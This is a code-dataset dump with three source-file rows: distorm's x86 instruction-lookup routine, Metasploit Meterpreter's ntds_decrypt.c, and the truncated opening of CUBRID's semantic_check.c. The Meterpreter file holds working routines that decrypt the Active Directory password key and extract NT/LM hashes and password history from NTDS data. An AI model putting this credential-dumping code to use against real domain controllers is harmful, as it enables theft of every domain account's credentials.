blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 4
721
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 5
91
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 321
values | visit_date
timestamp[ns]date 2016-08-12 09:31:09
2023-09-06 10:45:07
| revision_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| github_id
int64 426
681M
| star_events_count
int64 101
243k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[ns]date 2012-06-28 18:51:49
2023-09-14 21:59:16
⌀ | gha_created_at
timestamp[ns]date 2008-02-11 22:55:26
2023-08-10 11:14:58
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 26
values | language
stringclasses 2
values | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 6
10.2M
| extension
stringclasses 115
values | filename
stringlengths 3
113
| content
stringlengths 6
10.2M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0e1e7011e7635e08954af959ab6e0c0d181a6b06
|
f61a792b07b5d8150f35b646a4af44bfee8086dd
|
/dbvm/vmm/distorm64/instructions.c
|
59fe55766eb3577300a3af90d1c7c24ee0b8273a
|
[] |
no_license
|
cheat-engine/cheat-engine
|
9ba690f25cf53a4c375ca11bd0ae19123731a775
|
6a0c8253a9b596f0aa216574e7a9bf4a390e409a
|
refs/heads/master
| 2023-08-31T05:49:43.507423
| 2023-08-30T14:15:24
| 2023-08-30T14:15:24
| 34,163,206
| 12,899
| 2,821
| null | 2023-09-04T02:15:43
| 2015-04-18T11:21:57
|
Pascal
|
UTF-8
|
C
| false
| false
| 17,662
|
c
|
instructions.c
|
/*
instructions.c
Copyright (C) 2003-2008 Gil Dabah, http://ragestorm.net/distorm/
This library is licensed under the BSD license. See the file COPYING.
*/
#include "instructions.h"
#include "insts.h"
#include "prefix.h"
#include "textdefs.h"
#include "x86defs.h"
#include "wstring.h"
/*
I use the trie data structure as I found it most fitting to a disassembler mechanism.
When you read a byte and have to decide if it's enough or you should read more bytes, 'till you get to the instruction information.
It's really fast because you POP the instruction info in top 3 iterates on the DB, because an instruction can be formed from two bytes + 3 bits reg from the ModR/M byte.
For a simple explanation, check this out:
http://www.csse.monash.edu.au/~lloyd/tildeAlgDS/Tree/Trie/
Futher reading: http://en.wikipedia.org/wiki/Trie
The first GATE (array you read off a trie data structure), as I call them, is statically allocated by the compiler.
The second and third gates if used are being allocated dynamically by the instructions-insertion functionality.
How would such a thing look in memory, say we support 4 instructions with 3 bytes top (means 2 dynamically allocated gates).
->
|-------| 0,
|0| -------------------------------> |-------|
|1|RET | 1, |0|AND |
|2| -----> |-------| |1|XOR |
|3|INT3 | |0|PUSH | |2|OR | 0,3,
|-------| |1|POP | |3| --------->|-------|
|2|PUSHF| |-------| |0|ROR |
|3|POPF | |1|ROL |
|-------| |2|SHR |
|3|SHL |
|-------|
Of course, this is NOT how Intel instructions set looks!!!
but I just wanted to give a small demonstration.
Now the instructions you get from such a trie DB goes like this:
0, 0 - AND
0, 1 - XOR
0, 2 - OR
0, 3, 0, ROR
0, 3, 1, ROL
0, 3, 2, SHR
0, 3, 3, SHL
1 - RET
2, 0 - PUSH
2, 1 - POP
2, 2 - PUSHF
2, 3 - POPF
3 - INT3
I guess it's clear by now.
So now, if you read 0, you know that you have to enter the second gate(list) with the second byte specifying the index.
But if you read 1, you know that you go to an instruction (in this case, a RET).
That's why there's an Instruction-Node structure, it tells you whether you got to an instruction or another list
so you should keep on reading byte).
In Intel, you could go through 4 gates at top, because there're instructions which are built from 2 bytes and another smaller list
for the REG part, or newest SSE4 instructions which use 4 bytes for opcode.
Therefore, Intel's first gate is 256 long, and other gates are 256 (/72) or 8 long, yes, it costs pretty much alot of memory
for non-used defined instructions, but I think that it still rocks.
*/
/*
* This function is reponsible to return the instruction information of the first found in code.
* It returns the _InstInfo of the found instruction, otherwise NULL.
* code should point to the ModR/M byte upon exit (if used), or after the instruction binary code itself.
* This function is NOT decoding-type dependant, it is up to the caller to see whether the instruction is valid.
* Get the instruction info, using a Trie data structure.
* I call it "raw", because it simply locates an instruction, it doesn't care what bytes it's using, such as prefixes.
*/
static _InstInfo* locate_raw_inst(const uint8_t** code0, int* codeLen0, _OffsetType* codeOffset0, _WString* instructionHex, int isREXPrefixValid, _DecodeType dt)
{
const uint8_t* code = *code0;
int codeLen = *codeLen0;
_OffsetType codeOffset = *codeOffset0;
unsigned int tmpIndex0 = 0, tmpIndex1 = 0, tmpIndex2 = 0, tmpIndex3 = 0;
_InstNode* in = NULL;
_InstInfo* ii = NULL;
/* Precaution. */
if (codeLen <= 0) return NULL;
tmpIndex0 = *code;
/* Check for NULL node for index 0. */
in = (_InstNode*)Instructions.list[Instructions.ids[tmpIndex0]];
if (in == NULL) return NULL;
/* Single byte instruction (OCST_1BYTE). */
if (in->type == INT_INFO) {
str_hex_b(instructionHex, tmpIndex0);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
/*
* ARPL/MOVSXD share the same instruction number, and both have different operands and mnemonics, of course.
* Practically, I couldn't come up with a comfortable way to merge the operands' types of ARPL/MOVSXD.
* And since the DB can't be patched dynamically, because the DB has to be multi-threaded compliant,
* I have no choice but to check for ARPL/MOVSXD right here - "right about now, the funk soul brother, check it out now, the funk soul brother...", fatboy slim
*/
if (tmpIndex0 == INST_ARPL_INDEX) return ((dt == Decode64Bits) ? (_InstInfo*)&II_movsxd : &II_arpl);
return (_InstInfo*)in;
}
/* Single byte instruction + reg bits (OCST_13BYTES). */
if (in->type == INT_LIST_GROUP) {
str_hex_b(instructionHex, tmpIndex0);
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in->list[in->ids[(*code >> 3) & 7]];
}
/* Single byte instruction + reg byte OR one whole byte (OCST_1dBYTES). */
if (in->type == INT_LIST_DIVIDED) {
str_hex_b(instructionHex, tmpIndex0);
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
tmpIndex1 = *code;
/* OCST_1dBYTES is relatively simple to OCST_2dBYTES, since it's really divided at 0xc0. */
if (tmpIndex1 < INST_DIVIDED_MODRM) {
/* An instruction which requires a ModR/M byte. Thus it's 1.3 bytes long instruction. */
tmpIndex1 = (tmpIndex1 >> 3) & 7; /* Isolate the 3 REG/OPCODE bits. */
} else { /* Normal 2 bytes instruction. */
str_hex_b(instructionHex, tmpIndex1);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
/*
* Divided instructions can't be in the range of 0x8-0xc0.
* That's because 0-8 are used for 3 bits group.
* And 0xc0-0xff are used for not-divided instruction.
* So the inbetween range is omitted, thus saving some more place in the tables.
*/
tmpIndex1 -= INST_DIVIDED_MODRM - 8;
}
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in->list[in->ids[tmpIndex1]];
}
/* At least 2 bytes long instruction. */
if (in->type == INT_LIST_FULL) {
str_hex_b(instructionHex, tmpIndex0);
if (isREXPrefixValid) {
/* Skip REX prefix byte. */
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
str_hex_sp_b(instructionHex, *code);
chrcat_WS(instructionHex, SP_CHR);
}
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
tmpIndex1 = *code;
in = (_InstNode*)in->list[in->ids[tmpIndex1]];
/* Check for NULL node for index 1. */
if (in == NULL) return NULL;
/* This is where we check if we just read two escape bytes in a row, which means it is a 3DNow! instruction. */
if ((tmpIndex0 == _3DNOW_ESCAPE_BYTE) && (tmpIndex1 == _3DNOW_ESCAPE_BYTE)) {
str_hex_b(instructionHex, tmpIndex1);
chrcat_WS(instructionHex, SP_CHR);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return &II_3dnow;
}
/* 2 bytes instruction (OCST_2BYTES). */
if (in->type == INT_INFO) {
str_hex_b(instructionHex, tmpIndex1);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in;
}
/* 2 bytes + reg instruction (OCST_23BYTES). */
if (in->type == INT_LIST_GROUP) {
str_hex_b(instructionHex, tmpIndex1);
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in->list[in->ids[(*code >> 3) & 7]];
}
/* 2 bytes + divided range (OCST_2dBYTES). */
if (in->type == INT_LIST_DIVIDED) {
str_hex_b(instructionHex, tmpIndex1);
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
tmpIndex2 = *code;
ii = (_InstInfo*)in->list[in->ids[(tmpIndex2 >> 3) & 7]];
/*
* OCST_2dBYTES is complex, because there are a few instruction which are not divided in special cases, etc...
* If the instruction wasn't divided (but still it must be a 2.3) or it was an official 2.3 (because its index was less than 0xc0)
* Then it means the instruction should be using the REG bits, otherwise give a chance to range 0xc0-0xff.
*/
if ((ii != NULL) && ((ii->flags & INST_NOT_DIVIDED) || (tmpIndex2 < INST_DIVIDED_MODRM))) ii = (_InstInfo*)in->list[in->ids[(tmpIndex2 >> 3) & 7]];
else if (tmpIndex2 >= INST_DIVIDED_MODRM) ii = (_InstInfo*)in->list[in->ids[tmpIndex2 - INST_DIVIDED_MODRM + 8]]; /* Divided tables are smaller, range 0x8-0xc0 is omitted. */
/* V 1.5.13 - It might be that we got here without touching ii in the above if statements, then it becomes invalid instruction prolly. */
if ((ii != NULL) && ((ii->flags & INST_INCLUDE_MODRM) == 0)) { /* Read 3 whole bytes, for divided instructions which have no ModR/M byte. */
str_hex_b(instructionHex, tmpIndex2);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
}
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return ii;
}
/* At least 3 bytes (OCST_3BYTES). */
if (in->type == INT_LIST_FULL) {
str_hex_b(instructionHex, tmpIndex1);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
tmpIndex2 = *code;
/* OCST_3BYTES. */
in = (_InstNode*)in->list[in->ids[tmpIndex2]];
/* Check for NULL node for index 2. */
if (in == NULL) return NULL;
if (in->type == INT_INFO) {
str_hex_b(instructionHex, tmpIndex2);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in;
}
/* 3.3 bytes (OCST_33BYTES). */
if (in->type == INT_LIST_GROUP) {
str_hex_b(instructionHex, tmpIndex2);
codeLen -= 1;
if (codeLen <= 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in->list[in->ids[(*code >> 3) & 7]];
}
/* If we reached here, it's at least 4 bytes opcode. */
if (in->type == INT_LIST_FULL) {
str_hex_b(instructionHex, tmpIndex2);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
tmpIndex3 = *code;
/* OCST_4BYTES */
in = (_InstNode*)in->list[in->ids[tmpIndex3]];
/* Check for NULL node for index 3. */
if (in == NULL) return NULL;
if (in->type == INT_INFO) {
str_hex_b(instructionHex, tmpIndex3);
codeLen -= 1;
if (codeLen < 0) return NULL;
code += 1;
codeOffset += 1;
*code0 = code;
*codeLen0 = codeLen;
*codeOffset0 = codeOffset;
return (_InstInfo*)in;
}
}
}
}
/* Kahtchinggg, damn. */
return NULL;
}
/* Locate an instruction, give chance to S/SSE/2/3 instructions which need the prefix as a nomral byte instruction! */
_InstInfo* locate_inst(const uint8_t** code, int* codeLen, _OffsetType* codeOffset, _WString* instructionHex, _PrefixState* ps, _DecodeType dt)
{
_InstInfo* ii = NULL;
unsigned int lastCodeLen = *codeLen;
_OffsetType lastCodeOffset = *codeOffset;
const uint8_t* lastCode = *code;
unsigned int lastBC = 0; /* byte code. */
/* Keep last byte code (a prefix), read from ps->last only if we skipped prefixes. */
if (ps->start < ps->last) {
/*
* V1.1.7 - read the byte code only if exists! - FIXED
* If REX prefixes the opcode, it won't necessarily mean another prefix precedes the REX...
*/
if (ps->isREXPrefixValid && (ps->start <= ps->last - 2)) lastBC = *(ps->last - 2); /* Skip REX prefix byte. */
else lastBC = *(ps->last-1); /* This might read a REX, but we don't care then. */
}
/*
* Sometimes normal prefixes become mandatory prefixes, which means they are now part of the instruction opcode bytes.
* This is a bit tricky now,
* if the first byte is a REP (F3) prefix, we will have to give a chance to an SSE instruction.
* If an instruction doesn't exist, we will make it as a prefix and re-locateinst.
* A case such that a REP prefix is being changed into an instruction byte and also an SSE instruction will not be found can't happen,
* simply because there are no collisions between string instruction and SSE instructions (they are escaped).
* As for S/SSE2/3, check for F2 and 66 as well.
* In 64 bits, we have to make sure that we will skip the REX prefix, if it exists.
* There's a specific case, where a 66 is mandatory but it was dropped because REG.W was used,
* but it doesn't behave as an operand size prefix but as a mandatory, so we will have to take it into account.
* For example (64 bits decoding mode):
* 66 98 CBW
* 48 98 CDQE
* 66 48 98: db 0x66; CDQE
* Shows that operand size is dropped.
* Now, it's a mandatory prefix and NOT an operand size one.
* 66480f2dc0 db 0x48; CVTPD2PI XMM0, XMM0
* Although this instruction doesn't require a REX.W, it just shows, that even if it did - it doesn't matter.
* REX.W is dropped because it's not requried, but the decode function disabled the operand size even so.
*/
if ((lastBC == PREFIX_REP) || (lastBC == PREFIX_REPNZ) || (lastBC == PREFIX_OP_SIZE)) {
/* Take the prefix into account, making it an instruction byte. */
if (ps->isREXPrefixValid) {
(*code) -= 2;
(*codeLen) += 2;
(*codeOffset) -= 2;
} else {
(*code)--;
(*codeLen)++;
(*codeOffset)--;
}
ii = locate_raw_inst(code, codeLen, codeOffset, instructionHex, ps->isREXPrefixValid, dt);
if (ii) {
/*
* An S/SSE/2/3 instruction was found,
* so remove the last prefix. It is now a mandatory prefix and skip REX as usual.
* Let the decode function know that we turned a prefix into mandatory one.
* So if some problem occurs later, we will know to handle it specially because of this end case.
*/
if (ps->isREXPrefixValid) {
ps->last -= 2;
ps->specialPrefixesSize = 2; /* REX + SSE. */
}
else {
ps->last--;
ps->specialPrefixesSize = 1; /* SSE only. */
}
/* Remove that flag specifically. */
switch (lastBC)
{
case PREFIX_REP: ps->totalPrefixes &= ~INST_PRE_LOKREP_MASK; ps->lokrepPos = NULL; break;
case PREFIX_REPNZ: ps->totalPrefixes &= ~INST_PRE_LOKREP_MASK; ps->lokrepPos = NULL; break;
case PREFIX_OP_SIZE: ps->totalPrefixes &= ~INST_PRE_OP_SIZE; ps->opsizePos = NULL; break;
}
} else {
/* Undo: */
strclear_WS(instructionHex); /* Remove output prefix. */
*code = lastCode;
*codeLen = lastCodeLen;
*codeOffset = lastCodeOffset;
}
}
/* No instruction was found before, so it's a "simple" one: */
if (ii == NULL) ii = locate_raw_inst(code, codeLen, codeOffset, instructionHex, 0, dt);
return ii;
}
/*
* 3DNow! instruction handling:
* This is used when we encounter a 3DNow! instruction.
* We can't really locate a 3DNow! instruction before we see two escaped bytes,
* 0x0f, 0x0f. Then we have to extract operands which are, dest=mmx register, src=mmx register or quadword indirection.
* When we are finished with the extraction of operands we can resume to locate the instruction by reading another byte
* which tells us which 3DNow instruction we really tracked down...
* So in order to tell the extract operands function which operands the 3DNow! instruction require, we need to set up some
* generic instruction info for 3DNow! instructions.
* In the locate_inst itself, when we read an OCST_3BYTES which the two first bytes are 0x0f and 0x0f.
* we will return this special generic II for the specific operands we are interested in (MM, MM64).
* Then after extracting the operand, we'll call a completion routine for locating the instruction
* which will be called only for 3DNow! instructions, distinguished by a flag, and it will read the last byte of the 3 bytes.
*/
_InstInfo II_3dnow = {INT_INFO, ISCT_3DNOW, OT_MM64, OT_MM, (int8_t*) "\x0a" "_3DNow! II", INST_32BITS | INST_INCLUDE_MODRM | INST_3DNOW_FETCH};
_InstInfo* locate_3dnow_inst(_CodeInfo* ci, _WString* instructionHex)
{
unsigned int tmpIndex2 = *ci->code;
/* Start off from the two escape bytes gates... which is 3DNow! table.*/
_InstNode* in = &Table_0F_0F;
/* V1.6.20 - the following expression is fixed, so instructions can be fetched. */
in = (_InstNode*)in->list[in->ids[tmpIndex2]];
if ((in != NULL) && (in->type == INT_INFO)) {
str_hex_sp_b(instructionHex, tmpIndex2);
ci->codeLen -= 1;
if (ci->codeLen < 0) return NULL;
ci->code += 1;
ci->codeOffset += 1;
return (_InstInfo*)in;
}
return NULL;
}
void str_indirection_text(_WString* s, _OperandSizeType opSize)
{
switch (opSize)
{
case OPERAND_SIZE_NONE: break;
case OPERAND_SIZE8: strcat_WSN(s, TEXT_8_BITS); break;
case OPERAND_SIZE16: strcat_WSN(s, TEXT_16_BITS); break;
case OPERAND_SIZE32: strcat_WSN(s, TEXT_32_BITS); break;
case OPERAND_SIZE64: strcat_WSN(s, TEXT_64_BITS); break;
case OPERAND_SIZE80: strcat_WSN(s, TEXT_80_BITS); break;
case OPERAND_SIZE128: strcat_WSN(s, TEXT_128_BITS); break;
}
}
|
08de7e161f9b249a79db45fb85008ce9907fecbd
|
5741e4e7e3fedc3ae03996843b2bcfec70e17049
|
/c/meterpreter/source/extensions/extapi/ntds_decrypt.c
|
8b2dcd26c69709731da8deef34c7e1c12ccb45cc
|
[
"BSD-3-Clause",
"PSF-2.0",
"Python-2.0",
"Zlib",
"BSD-4-Clause",
"BSD-2-Clause"
] |
permissive
|
rapid7/metasploit-payloads
|
5981b44a1054d307d97b9cffcdbb559bfc690625
|
dcaad10486e22885d0cbcbce508e3e763ce689e9
|
refs/heads/master
| 2023-09-01T01:27:12.834909
| 2023-07-11T13:27:41
| 2023-07-11T13:27:41
| 18,418,533
| 1,674
| 743
|
NOASSERTION
| 2023-09-14T16:58:38
| 2014-04-03T21:18:24
|
C
|
UTF-8
|
C
| false
| false
| 7,873
|
c
|
ntds_decrypt.c
|
/*!
* @file ntds_decrypt.c
* @brief Definitions for NTDS decryption functions
*/
#include "extapi.h"
#include <inttypes.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"
#include "ntds.h"
/*!
* @brief Convert bytes into a Hex string representing those bytes.
* @param data Pointer to the byte array we are converting
* @param length Integer representing the length of the byte array
* @param output Pointer to the string we are outputting the result to
*/
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
{
for (unsigned int i = 0; i < length; i++) {
sprintf_s(output + (i *2), 3, "%02X", ((LPBYTE)data)[i]);
}
}
/*!
* @brief Decrypt an encrypted LM or NT Hash.
* @param encryptedNTLM Pointer to an encryptedhash struct for the LM or NT hash we wish to decrypt.
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
* @param hashString Pointer to the string where we will store the decrypted hash
* @param rid DWORD representing the Relative ID(RID) of the account
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
{
BOOL cryptOK = FALSE;
BYTE encHashData[NULL_TERMINATED_HASH_LENGTH] = { 0 };
BYTE decHash[NULL_TERMINATED_HASH_LENGTH] = { 0 };
memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES);
if (!cryptOK) {
return FALSE;
}
cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash);
if (!cryptOK) {
return FALSE;
}
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
return TRUE;
}
/*!
* @brief Wraps SystemFunction025 which decrypts a hash using the RID
* @param encodedHash Pointer to a byte array containing the encrypted hash
* @param rid Pointer to a DWORD containing the Relative ID(RID)
* @param decodedHash Pointer to where we store the decrypted hash
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
{
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
HMODULE hAdvapi = LoadLibrary("advapi32.dll");
if (hAdvapi == NULL) {
return FALSE;
}
PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025");
if (decryptFromRID(encodedHash, rid, decodedHash) != 0) {
return FALSE;
}
return TRUE;
}
/*!
* @brief Splits up an encrypted LM or NT hash history and decrypts each stored hash
* @param encHashHistory Pointer to the byte array containing the hash history record
* @param sizeHistory The size of the history record
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
* @param rid DWORD representing the Relative ID(RID) of the account
* @param accountHistory Pointer to a string wherewe store all the decrypted historical hashes
* @param historyCount Pointer to n integer where we store a count of the historical hashes
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
{
BOOL cryptOK = FALSE;
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
memcpy(historyCount, &numHashes, sizeof(historyCount));
LPBYTE encHistoryData = (LPBYTE)calloc(1,sizeHistoryData);
LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2));
memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData);
if (!cryptOK) {
free(encHistoryData);
free(decHistoryData);
return FALSE;
}
LPBYTE historicalHash = encHistoryData;
LPBYTE writeMarker = decHistoryData;
for (unsigned int i = 0; i < numHashes; i++) {
BYTE decHash[HASH_LENGTH_BYTES];
char hashString[NULL_TERMINATED_HASH_STRING_LENGTH] = { 0 };
cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash);
if (!cryptOK) {
return FALSE;
}
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
strncpy_s(writeMarker, NULL_TERMINATED_HASH_STRING_LENGTH, hashString, NULL_TERMINATED_HASH_STRING_LENGTH - 1);
historicalHash = historicalHash + HASH_LENGTH_BYTES;
writeMarker = writeMarker + NULL_TERMINATED_HASH_STRING_LENGTH;
}
memcpy(accountHistory, decHistoryData, (numHashes * NULL_TERMINATED_HASH_STRING_LENGTH));
free(encHistoryData);
free(decHistoryData);
return TRUE;
}
/*!
* @brief Decrypts the Password Encryption Key(PEK)
* @param sysKey Pointer to the string holding the SYSKEY
* @param pekEncrypted Pointer to an encryptedPEK struct containing our PEK to be decrypted
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
* @returns Indication of sucess or failure.
*/
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
{
BOOL cryptOK = FALSE;
BYTE pekData[52] = { 0 };
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK));
if (!cryptOK) {
return FALSE;
}
memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK));
return TRUE;
}
/*!
* @brief Takes key material and ciphertext and perform an rc4 decryption routine,
* @param key1 Pointer to a string containing the first set of key material
* @param key2 Pointer to a string containing the second set of key material
* @param encrypted Pointer to a byte array containing the ciphertext
* @param iterations How many times to add key2 to the md5 Hash to generate the rc4 key
* @param lenBuffer the length of our output buffer
* @returns Indication of sucess or failure.
*/
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
unsigned int hashIterations, DWORD lenBuffer)
{
BOOL cryptOK = FALSE;
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
DWORD md5Len = 16;
unsigned char rc4Key[HASH_LENGTH_BYTES];
HCRYPTKEY rc4KeyFinal;
cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!cryptOK) {
return FALSE;
}
cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
if (!cryptOK) {
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
for (unsigned int i = 0; i < hashIterations; i++) {
cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
}
cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer);
if (!cryptOK) {
CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
// Clean up after ourselves
CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return TRUE;
}
|
62cf9328ed7883f038a46928966b1ccd6a64688d
|
b0f08154e3eebc7d8465efc57597e52d08d69c18
|
/src/parser/semantic_check.c
|
29119e77ab273fb083fca716647fb7ad25455026
|
[
"BSD-3-Clause",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
CUBRID/cubrid
|
8f71a0010243b72e43ba887d229210650f4e901e
|
3b952af33230839a1b561a78ecd4b773374b66f8
|
refs/heads/develop
| 2023-08-18T19:16:30.987583
| 2023-08-18T08:18:05
| 2023-08-18T08:18:05
| 52,080,367
| 287
| 294
|
NOASSERTION
| 2023-09-14T21:29:09
| 2016-02-19T10:25:32
|
C
|
UTF-8
|
C
| false
| false
| 474,734
|
c
|
semantic_check.c
|
/*
* Copyright 2008 Search Solution Corporation
* Copyright 2016 CUBRID Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/*
* semantic_check.c - semantic checking functions
*/
#ident "$Id$"
#include "config.h"
#include <assert.h>
#include "authenticate.h"
#include "error_manager.h"
#include "parser.h"
#include "parser_message.h"
#include "semantic_check.h"
#include "memory_alloc.h"
#include "jsp_cl.h"
#include "execute_schema.h"
#include "set_object.h"
#include "schema_manager.h"
#include "release_string.h"
#include "dbi.h"
#include "xasl_generation.h"
#include "view_transform.h"
#include "show_meta.h"
#include "partition.h"
#include "db_json.hpp"
#include "object_primitive.h"
#include "db_client_type.hpp"
#include "dbtype.h"
#define PT_CHAIN_LENGTH 10
typedef enum
{ PT_CAST_VALID, PT_CAST_INVALID, PT_CAST_UNSUPPORTED } PT_CAST_VAL;
typedef enum
{ PT_UNION_COMP = 1, PT_UNION_INCOMP = 0,
PT_UNION_INCOMP_CANNOT_FIX = -1, PT_UNION_ERROR = -2
} PT_UNION_COMPATIBLE;
typedef struct seman_compatible_info
{
int idx;
PT_TYPE_ENUM type_enum;
int prec;
int scale;
bool force_cast;
PT_COLL_INFER coll_infer;
const PT_NODE *ref_att; /* column node having current compat info */
} SEMAN_COMPATIBLE_INFO;
typedef enum
{
RANGE_MIN = 0,
RANGE_MAX = 1
} RANGE_MIN_MAX_ENUM;
typedef struct PT_VALUE_LINKS
{
PT_NODE *vallink;
struct PT_VALUE_LINKS *next;
} PT_VALUE_LINKS;
typedef struct db_value_plist
{
struct db_value_plist *next;
DB_VALUE *val;
} DB_VALUE_PLIST;
typedef struct
{
PT_NODE *chain[PT_CHAIN_LENGTH];
PT_NODE **chain_ptr;
int chain_size;
int chain_length;
UINTPTR spec_id;
} PT_CHAIN_INFO;
static PT_NODE *pt_derive_attribute (PARSER_CONTEXT * parser, PT_NODE * c);
static PT_NODE *pt_get_attributes (PARSER_CONTEXT * parser, const DB_OBJECT * c);
static PT_MISC_TYPE pt_get_class_type (PARSER_CONTEXT * parser, const DB_OBJECT * cls);
static int pt_number_of_attributes (PARSER_CONTEXT * parser, PT_NODE * stmt, PT_NODE ** attrs);
